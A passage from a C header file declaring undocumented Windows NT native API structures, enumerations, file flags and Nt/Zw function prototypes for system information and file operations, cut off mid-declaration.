_SYSTEM_TIMEOFDAY_INFORMATION {\n LARGE_INTEGER BootTime;\n LARGE_INTEGER CurrentTime;\n LARGE_INTEGER TimeZoneBias;\n ULONG TimeZoneId;\n ULONG Reserved;\n} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;\n\n//\n// Process information\n// NtQuerySystemInformation with SystemProcessInformation\n//\n\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\n ULONG NextEntryOffset;\n ULONG NumberOfThreads;\n LARGE_INTEGER SpareLi1;\n LARGE_INTEGER SpareLi2;\n LARGE_INTEGER SpareLi3;\n LARGE_INTEGER CreateTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER KernelTime;\n UNICODE_STRING ImageName;\n KPRIORITY BasePriority;\n ULONG_PTR UniqueProcessId;\n ULONG_PTR InheritedFromUniqueProcessId;\n ULONG HandleCount;\n // Next part is platform dependent\n\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\n\n//\n// Device information\n// NtQuerySystemInformation with SystemDeviceInformation\n//\n\ntypedef struct _SYSTEM_DEVICE_INFORMATION {\n ULONG NumberOfDisks;\n ULONG NumberOfFloppies;\n ULONG NumberOfCdRoms;\n ULONG NumberOfTapes;\n ULONG NumberOfSerialPorts;\n ULONG NumberOfParallelPorts;\n} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION;\n\n//\n// Processor performance information\n// NtQuerySystemInformation with SystemProcessorPerformanceInformation\n//\n\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION {\n LARGE_INTEGER IdleTime;\n LARGE_INTEGER KernelTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER DpcTime; // DEVL only\n LARGE_INTEGER InterruptTime; // DEVL only\n ULONG InterruptCount;\n} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;\n\n//\n// NT Global Flag information\n// NtQuerySystemInformation with SystemFlagsInformation\n//\n\ntypedef struct _SYSTEM_FLAGS_INFORMATION\n{\n ULONG GlobalFlag;\n\n} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION;\n\n//\n// System Module information\n// NtQuerySystemInformation with SystemModuleInformation\n//\n\ntypedef struct _SYSTEM_MODULE\n{\n ULONG Reserved1; // Should be 0xBAADF00D\n ULONG Reserved2; // Should be zero\n PVOID Base;\n ULONG Size;\n ULONG Flags;\n USHORT Index;\n USHORT Unknown;\n USHORT LoadCount;\n USHORT ModuleNameOffset;\n CHAR ImageName[256];\n\n} SYSTEM_MODULE, *PSYSTEM_MODULE;\n\n\ntypedef struct _SYSTEM_MODULE_INFORMATION\n{\n ULONG ModulesCount;\n SYSTEM_MODULE Modules[1];\n\n} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\n\n/*\ntypedef struct _SYSTEM_VDM_INSTEMUL_INFO {\n ULONG SegmentNotPresent ;\n ULONG VdmOpcode0F ;\n ULONG OpcodeESPrefix ;\n ULONG OpcodeCSPrefix ;\n ULONG OpcodeSSPrefix ;\n ULONG OpcodeDSPrefix ;\n ULONG OpcodeFSPrefix ;\n ULONG OpcodeGSPrefix ;\n ULONG OpcodeOPER32Prefix;\n ULONG OpcodeADDR32Prefix;\n ULONG OpcodeINSB ;\n ULONG OpcodeINSW ;\n ULONG OpcodeOUTSB ;\n ULONG OpcodeOUTSW ;\n ULONG OpcodePUSHF ;\n ULONG OpcodePOPF ;\n ULONG OpcodeINTnn ;\n ULONG OpcodeINTO ;\n ULONG OpcodeIRET ;\n ULONG OpcodeINBimm ;\n ULONG OpcodeINWimm ;\n ULONG OpcodeOUTBimm ;\n ULONG OpcodeOUTWimm ;\n ULONG OpcodeINB ;\n ULONG OpcodeINW ;\n ULONG OpcodeOUTB ;\n ULONG OpcodeOUTW ;\n ULONG OpcodeLOCKPrefix ;\n ULONG OpcodeREPNEPrefix ;\n ULONG OpcodeREPPrefix ;\n ULONG OpcodeHLT ;\n ULONG OpcodeCLI ;\n ULONG OpcodeSTI ;\n ULONG BopCount ;\n} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO;\n\n\ntypedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION {\n ULONG TimeAdjustment;\n ULONG TimeIncrement;\n BOOLEAN Enable;\n} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION;\n\ntypedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION {\n ULONG TimeAdjustment;\n BOOLEAN Enable;\n} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION;\n\n\ntypedef struct _SYSTEM_THREAD_INFORMATION {\n LARGE_INTEGER KernelTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER CreateTime;\n ULONG WaitTime;\n PVOID StartAddress;\n CLIENT_ID ClientId;\n KPRIORITY Priority;\n LONG BasePriority;\n ULONG ContextSwitches;\n ULONG ThreadState;\n ULONG WaitReason;\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\n\ntypedef struct _SYSTEM_MEMORY_INFO {\n PUCHAR StringOffset;\n USHORT ValidCount;\n USHORT TransitionCount;\n USHORT ModifiedCount;\n USHORT PageTableCount;\n} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO;\n\ntypedef struct _SYSTEM_MEMORY_INFORMATION {\n ULONG InfoSize;\n ULONG StringStart;\n SYSTEM_MEMORY_INFO Memory[1];\n} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION;\n\ntypedef struct _SYSTEM_CALL_COUNT_INFORMATION {\n ULONG Length;\n ULONG NumberOfTables;\n //ULONG NumberOfEntries[NumberOfTables];\n //ULONG CallCounts[NumberOfTables][NumberOfEntries];\n} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION;\n\ntypedef struct _SYSTEM_CRASH_DUMP_INFORMATION {\n HANDLE CrashDumpSection;\n} SYSTEM_CRASH_DUMP_INFORMATION, *PSYSTEM_CRASH_DUMP_INFORMATION;\n\ntypedef struct _SYSTEM_EXCEPTION_INFORMATION {\n ULONG AlignmentFixupCount;\n ULONG ExceptionDispatchCount;\n ULONG FloatingEmulationCount;\n ULONG ByteWordEmulationCount;\n} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;\n\ntypedef struct _SYSTEM_CRASH_STATE_INFORMATION {\n ULONG ValidCrashDump;\n} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION;\n\ntypedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION {\n BOOLEAN KernelDebuggerEnabled;\n BOOLEAN KernelDebuggerNotPresent;\n} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION;\n\ntypedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION {\n ULONG RegistryQuotaAllowed;\n ULONG RegistryQuotaUsed;\n ULONG PagedPoolSize;\n} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;\n\ntypedef struct _SYSTEM_GDI_DRIVER_INFORMATION {\n UNICODE_STRING DriverName;\n PVOID ImageAddress;\n PVOID SectionPointer;\n PVOID EntryPoint;\n PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;\n} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;\n*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySystemInformation(\n IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n OUT PVOID SystemInformation,\n IN ULONG SystemInformationLength,\n OUT PULONG ReturnLength\n );\n\n//------------------------------------------------------------------------------\n// Shutdown system\n\ntypedef enum _SHUTDOWN_ACTION\n{\n ShutdownNoReboot,\n ShutdownReboot,\n ShutdownPowerOff\n\n} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION;\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtShutdownSystem(\n IN SHUTDOWN_ACTION Action\n );\n\n//-----------------------------------------------------------------------------\n// File functions\n\n#ifndef OLD_DOS_VOLID\n#define OLD_DOS_VOLID 0x00000008\n#endif\n\n#ifndef FILE_SUPERSEDE\n#define FILE_SUPERSEDE 0x00000000\n#define FILE_OPEN 0x00000001\n#define FILE_CREATE 0x00000002\n#define FILE_OPEN_IF 0x00000003\n#define FILE_OVERWRITE 0x00000004\n#define FILE_OVERWRITE_IF 0x00000005\n#define FILE_MAXIMUM_DISPOSITION 0x00000005\n#endif // File create flags\n\n\n// Define the create/open option flags\n#ifndef FILE_DIRECTORY_FILE\n#define FILE_DIRECTORY_FILE 0x00000001\n#define FILE_WRITE_THROUGH 0x00000002\n#define FILE_SEQUENTIAL_ONLY 0x00000004\n#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008\n#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010\n#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020\n#define FILE_NON_DIRECTORY_FILE 0x00000040\n#define FILE_CREATE_TREE_CONNECTION 0x00000080\n#define FILE_COMPLETE_IF_OPLOCKED 0x00000100\n#define FILE_NO_EA_KNOWLEDGE 0x00000200\n#define FILE_OPEN_FOR_RECOVERY 0x00000400\n#define FILE_RANDOM_ACCESS 0x00000800\n#define FILE_DELETE_ON_CLOSE 0x00001000\n#define FILE_OPEN_BY_FILE_ID 0x00002000\n#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000\n#define FILE_NO_COMPRESSION 0x00008000\n#define FILE_RESERVE_OPFILTER 0x00100000\n#define FILE_OPEN_REPARSE_POINT 0x00200000\n#define FILE_OPEN_NO_RECALL 0x00400000\n#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000\n#endif // FILE_DIRECTORY_FILE\n\n\n//\n// Define the I/O status information return values for NtCreateFile/NtOpenFile\n//\n\n#ifndef FILE_SUPERSEDED\n#define FILE_SUPERSEDED 0x00000000\n#define FILE_OPENED 0x00000001\n#define FILE_CREATED 0x00000002\n#define FILE_OVERWRITTEN 0x00000003\n#define FILE_EXISTS 0x00000004\n#define FILE_DOES_NOT_EXIST 0x00000005\n#endif\n\n\n#ifndef PIO_APC_ROUTINE_DEFINED\ntypedef\nVOID\n(NTAPI *PIO_APC_ROUTINE) (\n IN PVOID ApcContext,\n IN PIO_STATUS_BLOCK IoStatusBlock,\n IN ULONG Reserved\n );\n#define PIO_APC_ROUTINE_DEFINED\n#endif // PIO_APC_ROUTINE_DEFINED\n\n\ntypedef enum _FILE_INFORMATION_CLASS\n{\n FileDirectoryInformation = 1,\n FileFullDirectoryInformation, // 2\n FileBothDirectoryInformation, // 3\n FileBasicInformation, // 4 wdm\n FileStandardInformation, // 5 wdm\n FileInternalInformation, // 6\n FileEaInformation, // 7\n FileAccessInformation, // 8\n FileNameInformation, // 9\n FileRenameInformation, // 10\n FileLinkInformation, // 11\n FileNamesInformation, // 12\n FileDispositionInformation, // 13\n FilePositionInformation, // 14 wdm\n FileFullEaInformation, // 15\n FileModeInformation, // 16\n FileAlignmentInformation, // 17\n FileAllInformation, // 18\n FileAllocationInformation, // 19\n FileEndOfFileInformation, // 20 wdm\n FileAlternateNameInformation, // 21\n FileStreamInformation, // 22\n FilePipeInformation, // 23\n FilePipeLocalInformation, // 24\n FilePipeRemoteInformation, // 25\n FileMailslotQueryInformation, // 26\n FileMailslotSetInformation, // 27\n FileCompressionInformation, // 28\n FileObjectIdInformation, // 29\n FileCompletionInformation, // 30\n FileMoveClusterInformation, // 31\n FileQuotaInformation, // 32\n FileReparsePointInformation, // 33\n FileNetworkOpenInformation, // 34\n FileAttributeTagInformation, // 35\n FileTrackingInformation, // 36\n FileIdBothDirectoryInformation, // 37\n FileIdFullDirectoryInformation, // 38\n FileValidDataLengthInformation, // 39\n FileShortNameInformation, // 40\n FileIoCompletionNotificationInformation, // 41\n FileIoStatusBlockRangeInformation, // 42\n FileIoPriorityHintInformation, // 43\n FileSfioReserveInformation, // 44\n FileSfioVolumeInformation, // 45\n FileHardLinkInformation, // 46\n FileProcessIdsUsingFileInformation, // 47\n FileMaximumInformation // 48\n} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;\n\n\ntypedef struct _FILE_DIRECTORY_INFORMATION {\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;\n\n\ntypedef struct _FILE_FULL_DIR_INFORMATION {\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n WCHAR FileName[1];\n} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;\n\n\ntypedef struct _FILE_BOTH_DIR_INFORMATION {\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n CCHAR ShortNameLength;\n WCHAR ShortName[12];\n WCHAR FileName[1];\n} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;\n\n\ntypedef struct _FILE_BASIC_INFORMATION {\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n ULONG FileAttributes;\n} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;\n\n\ntypedef struct _FILE_STANDARD_INFORMATION {\n LARGE_INTEGER AllocationSize;\n LARGE_INTEGER EndOfFile;\n ULONG NumberOfLinks;\n BOOLEAN DeletePending;\n BOOLEAN Directory;\n} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;\n\n\ntypedef struct _FILE_INTERNAL_INFORMATION {\n LARGE_INTEGER IndexNumber;\n} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;\n\n\ntypedef struct _FILE_EA_INFORMATION {\n ULONG EaSize;\n} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;\n\n\ntypedef struct _FILE_ACCESS_INFORMATION {\n ACCESS_MASK AccessFlags;\n} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;\n\n\ntypedef struct _FILE_NAME_INFORMATION {\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;\n\n\ntypedef struct _FILE_RENAME_INFORMATION {\n BOOLEAN ReplaceIfExists;\n HANDLE RootDirectory;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;\n\n\ntypedef struct _FILE_NAMES_INFORMATION {\n ULONG NextEntryOffset;\n ULONG FileIndex;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;\n\n\ntypedef struct _FILE_DISPOSITION_INFORMATION {\n BOOLEAN DeleteFile;\n} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION;\n\n\ntypedef struct _FILE_POSITION_INFORMATION {\n LARGE_INTEGER CurrentByteOffset;\n} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;\n\n\ntypedef struct _FILE_FULL_EA_INFORMATION {\n ULONG NextEntryOffset;\n UCHAR Flags;\n UCHAR EaNameLength;\n USHORT EaValueLength;\n CHAR EaName[1];\n} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;\n\n\ntypedef struct _FILE_MODE_INFORMATION {\n ULONG Mode;\n} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;\n\n\ntypedef struct _FILE_ALIGNMENT_INFORMATION {\n ULONG AlignmentRequirement;\n} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION;\n\n\ntypedef struct _FILE_ALL_INFORMATION {\n FILE_BASIC_INFORMATION BasicInformation;\n FILE_STANDARD_INFORMATION StandardInformation;\n FILE_INTERNAL_INFORMATION InternalInformation;\n FILE_EA_INFORMATION EaInformation;\n FILE_ACCESS_INFORMATION AccessInformation;\n FILE_POSITION_INFORMATION PositionInformation;\n FILE_MODE_INFORMATION ModeInformation;\n FILE_ALIGNMENT_INFORMATION AlignmentInformation;\n FILE_NAME_INFORMATION NameInformation;\n} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;\n\n\ntypedef struct _FILE_ALLOCATION_INFORMATION {\n LARGE_INTEGER AllocationSize;\n} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;\n\n\ntypedef struct _FILE_END_OF_FILE_INFORMATION {\n LARGE_INTEGER EndOfFile;\n} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION;\n\n\ntypedef struct _FILE_STREAM_INFORMATION {\n ULONG NextEntryOffset;\n ULONG StreamNameLength;\n LARGE_INTEGER StreamSize;\n LARGE_INTEGER StreamAllocationSize;\n WCHAR StreamName[1];\n} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION;\n\ntypedef struct _FILE_PIPE_INFORMATION {\n ULONG ReadMode;\n ULONG CompletionMode;\n} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION;\n\n\ntypedef struct _FILE_PIPE_LOCAL_INFORMATION {\n ULONG NamedPipeType;\n ULONG NamedPipeConfiguration;\n ULONG MaximumInstances;\n ULONG CurrentInstances;\n ULONG InboundQuota;\n ULONG ReadDataAvailable;\n ULONG OutboundQuota;\n ULONG WriteQuotaAvailable;\n ULONG NamedPipeState;\n ULONG NamedPipeEnd;\n} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION;\n\n\ntypedef struct _FILE_PIPE_REMOTE_INFORMATION {\n LARGE_INTEGER CollectDataTime;\n ULONG MaximumCollectionCount;\n} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION;\n\n\ntypedef struct _FILE_MAILSLOT_QUERY_INFORMATION {\n ULONG MaximumMessageSize;\n ULONG MailslotQuota;\n ULONG NextMessageSize;\n ULONG MessagesAvailable;\n LARGE_INTEGER ReadTimeout;\n} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION;\n\n\ntypedef struct _FILE_MAILSLOT_SET_INFORMATION {\n PLARGE_INTEGER ReadTimeout;\n} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION;\n\n\ntypedef struct _FILE_COMPRESSION_INFORMATION {\n LARGE_INTEGER CompressedFileSize;\n USHORT CompressionFormat;\n UCHAR CompressionUnitShift;\n UCHAR ChunkShift;\n UCHAR ClusterShift;\n UCHAR Reserved[3];\n} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION;\n\n\ntypedef struct _FILE_LINK_INFORMATION {\n BOOLEAN ReplaceIfExists;\n HANDLE RootDirectory;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;\n\n\ntypedef struct _FILE_OBJECTID_INFORMATION\n{\n LONGLONG FileReference;\n UCHAR ObjectId[16];\n union {\n struct {\n UCHAR BirthVolumeId[16];\n UCHAR BirthObjectId[16];\n UCHAR DomainId[16];\n } ;\n UCHAR ExtendedInfo[48];\n };\n} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION;\n\n\ntypedef struct _FILE_COMPLETION_INFORMATION {\n HANDLE Port;\n PVOID Key;\n} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION;\n\n\ntypedef struct _FILE_MOVE_CLUSTER_INFORMATION {\n ULONG ClusterCount;\n HANDLE RootDirectory;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION;\n\n\ntypedef struct _FILE_NETWORK_OPEN_INFORMATION {\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER AllocationSize;\n LARGE_INTEGER EndOfFile;\n ULONG FileAttributes;\n} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;\n\n\ntypedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {\n ULONG FileAttributes;\n ULONG ReparseTag;\n} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION;\n\n\ntypedef struct _FILE_TRACKING_INFORMATION {\n HANDLE DestinationFile;\n ULONG ObjectInformationLength;\n CHAR ObjectInformation[1];\n} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION;\n\n\ntypedef struct _FILE_REPARSE_POINT_INFORMATION {\n LONGLONG FileReference;\n ULONG Tag;\n} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION;\n\n\ntypedef struct _FILE_QUOTA_INFORMATION {\n ULONG NextEntryOffset;\n ULONG SidLength;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER QuotaUsed;\n LARGE_INTEGER QuotaThreshold;\n LARGE_INTEGER QuotaLimit;\n SID Sid;\n} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION;\n\n\ntypedef struct _FILE_ID_BOTH_DIR_INFORMATION {\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n CCHAR ShortNameLength;\n WCHAR ShortName[12];\n LARGE_INTEGER FileId;\n WCHAR FileName[1];\n} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;\n\n\ntypedef struct _FILE_ID_FULL_DIR_INFORMATION {\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n LARGE_INTEGER FileId;\n WCHAR FileName[1];\n} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;\n\n\ntypedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {\n LARGE_INTEGER ValidDataLength;\n} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION;\n\ntypedef struct _FILE_LINK_ENTRY_INFORMATION {\n ULONG NextEntryOffset;\n LONGLONG ParentFileId;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION;\n\ntypedef struct _FILE_LINKS_INFORMATION {\n ULONG BytesNeeded;\n ULONG EntriesReturned;\n FILE_LINK_ENTRY_INFORMATION Entry;\n} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION;\n\n\n\ntypedef enum _FSINFOCLASS {\n FileFsVolumeInformation = 1,\n FileFsLabelInformation, // 2\n FileFsSizeInformation, // 3\n FileFsDeviceInformation, // 4\n FileFsAttributeInformation, // 5\n FileFsControlInformation, // 6\n FileFsFullSizeInformation, // 7\n FileFsObjectIdInformation, // 8\n FileFsDriverPathInformation, // 9\n FileFsMaximumInformation\n} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS;\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateFile(\n OUT PHANDLE FileHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN PLARGE_INTEGER AllocationSize,\n IN ULONG FileAttributes,\n IN ULONG ShareAccess,\n IN ULONG CreateDisposition,\n IN ULONG CreateOptions,\n IN PVOID EaBuffer,\n IN ULONG EaLength);\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateFile(\n OUT PHANDLE FileHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN PLARGE_INTEGER AllocationSize,\n IN ULONG FileAttributes,\n IN ULONG ShareAccess,\n IN ULONG CreateDisposition,\n IN ULONG CreateOptions,\n IN PVOID EaBuffer,\n IN ULONG EaLength);\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenFile(\n OUT PHANDLE FileHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN ULONG ShareAccess,\n IN ULONG OpenOptions\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenFile(\n OUT PHANDLE FileHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN ULONG ShareAccess,\n IN ULONG OpenOptions\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID FileInformation,\n IN ULONG Length,\n IN FILE_INFORMATION_CLASS FileInformationClass\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID FileInformation,\n IN ULONG Length,\n IN FILE_INFORMATION_CLASS FileInformationClass\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryFile(\n IN HANDLE FileHandle,\n IN HANDLE Event OPTIONAL,\n IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n IN PVOID ApcContext OPTIONAL,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID FileInformation,\n IN ULONG Length,\n IN FILE_INFORMATION_CLASS FileInformationClass,\n IN BOOLEAN ReturnSingleEntry,\n IN PUNICODE_STRING FileName OPTIONAL,\n IN BOOLEAN RestartScan\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryDirectoryFile(\n IN HANDLE FileHandle,\n IN HANDLE Event OPTIONAL,\n IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n IN PVOID ApcContext OPTIONAL,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID FileInformation,\n IN ULONG Length,\n IN FILE_INFORMATION_CLASS FileInformationClass,\n IN BOOLEAN ReturnSingleEntry,\n IN PUNICODE_STRING FileName OPTIONAL,\n IN BOOLEAN RestartScan\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryVolumeInformationFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID FsInformation,\n IN ULONG Length,\n IN FS_INFORMATION_CLASS FsInformationClass\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryVolumeInformationFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID FsInformation,\n IN ULONG Length,\n IN FS_INFORMATION_CLASS FsInformationClass\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN PVOID FileInformation,\n IN ULONG Length,\n IN FILE_INFORMATION_CLASS FileInformationClass\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetInformationFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN PVOID FileInformation,\n IN ULONG Length,\n IN FILE_INFORMATION_CLASS FileInformationClass\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryEaFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID Buffer,\n IN ULONG Length,\n IN BOOLEAN ReturnSingleEntry,\n IN PVOID EaList OPTIONAL,\n IN ULONG EaListLength,\n IN PULONG EaIndex OPTIONAL,\n IN BOOLEAN RestartScan);\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryEaFile(\n IN HANDLE 